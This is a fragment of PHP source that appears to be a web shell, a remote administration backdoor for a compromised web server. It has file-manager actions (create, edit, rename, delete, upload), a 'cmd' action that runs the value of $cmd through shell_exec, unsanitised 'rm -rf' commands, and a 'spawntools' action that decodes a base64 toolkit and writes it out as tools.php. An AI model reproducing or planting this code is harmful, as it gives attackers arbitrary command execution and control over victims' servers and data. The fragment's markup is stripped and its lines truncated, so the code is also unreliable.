Home: ";
foreach ($pathComponents as $index => $component) {
$partialPath = implode(DIRECTORY_SEPARATOR, array_slice($pathComponents, 0, $index + 1));
$partialPath = str_replace("%2F", "/", rawurlencode($partialPath));
echo "
" . $component . "";
if ($index < count($pathComponents) - 1) {
echo "/";
}
}
echo "
";
?>
&action=createfolder">
&action=createfile">
&action=spawntools">
&action=info">
&action=upload">
&action=cmd">
Filename: $file_name";
echo "
";
} elseif ($_GET["action"] == "edit" && $file) {
?>
alert('Edit $file_name success')";
echo "";
} else {
echo "Edit $file_name failed";
}
}
} elseif ($_GET["action"] == "rename" && $file) {
renames($file, $path, $file_name);
} elseif ($_GET["action"] == "rename" && $folder) {
renames($folder, $path, $folder_name);
} elseif ($_GET["action"] == "delete" && $file) {
if (unlink($file)) {
echo "";
echo "";
} else {
echo "Delete $file_name failed";
}
} elseif ($_GET["action"] == "delete" && $folder) {
if (is_dir($folder)) {
if (is_writable($folder)) {
@rmdir($folder);
@shell_exec("rm -rf $folder");
@shell_exec("rmdir /s /q $folder");
echo "";
echo "";
} else {
echo "Delete $folder_name failed";
}
}
} elseif ($_GET["action"] == "spawntools") {
$save = saveme($path."/tools.php", base64_decode($tools));
echo "
";
if ($save) {
echo "";
echo "";
} else {
echo "Spawn Toolkit failed";
}
echo "";
} elseif ($_GET["action"] == "createfile") {
?>
alert('".$filename." has successfully created')";
echo "";
} else {
echo "Create file failed";
}
}
} elseif ($_GET["action"] == "createfolder") {
?>
alert('$fname Created')";
echo "";
} else {
echo "Create folder failed";
}
}
} elseif ($_GET["action"] == "upload") {
?>
alert('$file uploaded')";
echo "";
} else {
echo "
Upload fail";
}
}
} elseif ($_GET["action"] == "cmd") {
?>
".@shell_exec($cmd)."
";
}
} elseif ($_GET["action"] == "info") {
echo '